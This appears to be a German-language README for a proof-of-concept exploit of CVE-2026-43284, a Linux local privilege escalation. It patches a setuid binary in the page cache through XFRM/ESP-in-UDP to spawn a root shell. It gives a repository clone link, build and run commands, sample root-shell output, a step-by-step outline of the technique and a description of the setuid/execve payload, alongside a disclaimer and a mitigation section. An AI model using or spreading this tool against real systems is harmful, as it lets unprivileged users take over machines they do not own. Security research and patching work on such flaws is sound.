
Proof-of-Concept für CVE-2026-43284 — 4-Byte XFRM/ESP Page-Cache-Schreib-Primitive, um eine setuid-Binärdatei zu patchen (x86_64, Benutzernamensräume). Beinhaltet Kernel-Preflight + SUID-Scan.
Proof-of-Concept zur lokalen Privilegienausweitung mittels XFRM/ESP-Seitencache-Korruption
4-Byte-Schreibprimitive · 48 Iterationen · 192-Byte-ELF-Überschreibung · unprivilegierter Benutzer + netns
Links: Kernel-Preflight, setuid-Scan und Exploit-Kette ·
Rechts: Root-Shell gestartet — id / whoami bestätigen uid=0(root)
Getestet auf WSL2 · Ubuntu 24.04.1 LTS · Kernel 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Haftungsausschluss: Nur für autorisierte Sicherheitsforschung, Bildung und Tests an Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben. Die Autoren haften nicht für Missbrauch.
Funktioniert auch, wenn algif_aead auf der Blacklist steht – der Exploit nutzt direkt den XFRM/ESP-Kernel-Codepfad.
Eingebaute Preflight-Prüfungen vor der Ausnutzung:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config oder /proc/config.gz unter WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # oder =y
Schnellprüfung:
# Bare Metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (für forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
Oder manuell:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0ist beabsichtigt – Optimierung kann zeitkritisches Splice/UDP-Verhalten beeinträchtigen.
id
# uid=1000(ihrbenutzer) gid=1000(ihrbenutzer) groups=...
./sley-dirtyfrag # Standardziel: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # benutzerdefinierte setuid-Binary
Das Tool führt drei automatisierte Phasen aus:
| Phase | Was passiert |
|---|
Innerhalb der gestarteten Shell:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Drücken Sie Strg+D oder geben Sie exit ein. Der PoC verwirft den Seitencache, so dass die ursprüngliche Binärdatei auf der Festplatte automatisch wiederhergestellt wird.
Falls die Wiederherstellung fehlschlägt:
echo 3 | sudo tee /proc/sys/vm/drop_caches
┌─[ Phase 1] Kernel-Konfigurations-Preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (erforderlich =y)
[+] CONFIG_XFRM = y (erforderlich =y)
[+] CONFIG_INET_ESP = m (erforderlich =m oder =y)
Kernel-Optionen OK.
┌─[ Phase 2] setuid-Binary-Scan
10 /usr/bin/su ← Ziel
14 setuid-Binaries gefunden.
┌─[ Phase 3] Exploit
[*] unshare userns+netns, registriere 48 XFRM SA, splice→UDP 4500...
[+] korrupt alle Iterationen abgeschlossen
[+] verifiziere ELF-Patch erkannt
╔══════════════════════════════════════╗
║ Root-Shell — Beenden zum ║
║ Wiederherstellen ║
╚══════════════════════════════════════╝
| Behoben in | f4c50a4034e6 (Mainline, 8. Mai 2026) |
| Eingeführt in | cac2661c53f3 (Jan. 2017) |
Maßnahme: Aktualisieren Sie auf einen Distributionskernel, der den Fix enthält, oder bauen Sie aus einem gepatchten Mainline-Baum.
# Prüfen Sie Ihren laufenden Kernel
uname -r
# Überprüfen Sie, ob der Fix vorhanden ist (Beispiel – an die Paketbenennung Ihrer Distribution anpassen)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
Dieser Exploit ist auf unshare(CLONE_NEWUSER | CLONE_NEWNET) ohne Root angewiesen.
# Laufzeit (existiert möglicherweise nicht auf allen Kernen)
sysctl kernel.unprivileged_userns_clone=0
# Oder zur Bauzeit deaktivieren
# CONFIG_USER_NS is not set
Hinweis: Das Deaktivieren von Benutzer-Namespaces blockiert diesen PoC, aber nicht unbedingt CVE-2026-43500 (rxrpc-Variante für Systeme ohne userns).
find / -perm -4000 -type f 2>/dev/null
# Entfernen oder härten Sie nicht benötigte Binaries
Wenn Sie glauben, dass eine setuid-Binary im Speicher gepatcht wurde:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Überprüfen Sie die Integrität der Binary erneut über den Paketmanager / bekannten Hash
unshare(CLONE_NEWUSER | CLONE_NEWNET) – isolierter Benutzer-/Netzwerk-Namespace (kein Root erforderlich).seq_hi (4 Bytes pro SA).UDP_ENCAP_ESPINUDP:
splice() liest die Zieldatei in eine Pipesplice() verschiebt Daten von der Pipe → UDP-Socketskip_cow-Pfad in die ESP-Streu-/Sammellisteauthencesn Scatterwalk schreibt seq_hi an assoclen + cryptlensetuid(0) / setgid(0) / aus.| Umgebung | Kernel |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | anfällige Builds |
| Fedora 44 | anfällige Builds |
/etc/passwd mit einer 8-Byte-pcbc(fcrypt)-Brute-Force-Primitive ab. Nicht in diesem Repository enthalten.Wird wie besehen für Forschungs- und Bildungszwecke bereitgestellt. Verantwortungsvoll nutzen.
SLEY — CVE-2026-43284 dirtyfrag PoC
Falls dies Ihrer Forschung geholfen hat, erwägen Sie, dem Repository einen Stern zu geben.
| CVE | CVE-2026-43284 |
| Typ | Lokale Privilegienausweitung (LPE) |
| Vektor | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) Page-Cache-Korruption |
| Primitive | 4 Bytes pro Iteration (ESN seq_hi) |
| Payload | 192-Byte x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Standardziel | /usr/bin/su |
| Architektur | nur x86_64 |
| Erforderliche Berechtigungen | Unprivilegierter Benutzer (verwendet Benutzer- und Netzwerk-Namespaces) |
| 1 | Kernel-Konfigurations-Preflight (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Systemweiter setuid-Binary-Scan; hebt das Standardziel hervor |
| 3 | Ziel sichern → Seitencache patchen (48× 4-Byte-Schreibvorgänge) → Root-Shell starten |
| Befehl | Beschreibung |
|---|
./sley-dirtyfrag | Exploit gegen /usr/bin/su (Standard) |
./sley-dirtyfrag /pfad/zu/suid | Exploit gegen eine benutzerdefinierte setuid-Binary |
make | sley-dirtyfrag bauen |
make clean | Binary entfernen |
| Maßnahme | Wirkung |
|---|
| Kernel patchen / aktualisieren | Beseitigt den zugrunde liegenden Page-Cache-Schreibfehler |
| Benutzer-Namespaces einschränken | Blockiert diesen PoC (erfordert CONFIG_USER_NS) |
| Nicht benötigte setuid-Binaries entfernen | Reduziert brauchbare Ziele (chmod u-s oder deinstallieren) |
| Lockdown / LSM (SELinux, AppArmor) | Kann je nach Richtlinie die Post-Exploitation-Auswirkungen begrenzen |
| XFRM + UDP/4500 überwachen | Anomale SA-Registrierungen und ESP-in-UDP-Verkehr aus unprivilegierten Namespaces erkennen |
execve("/bin/sh")posix_fadvise), so dass der Kernel die saubere Datei von der Festplatte neu lädt.| Datei | Beschreibung |
|---|
sley-dirtyfrag.c | Exploit-Quellcode |
Makefile | Build-Hilfe |
proof-of-concept-1.jpg | PoC-Screenshot – Preflight + Exploit |
proof-of-concept-2.jpg | PoC-Screenshot – Root-Shell-Verifizierung |
README.md | Diese Datei |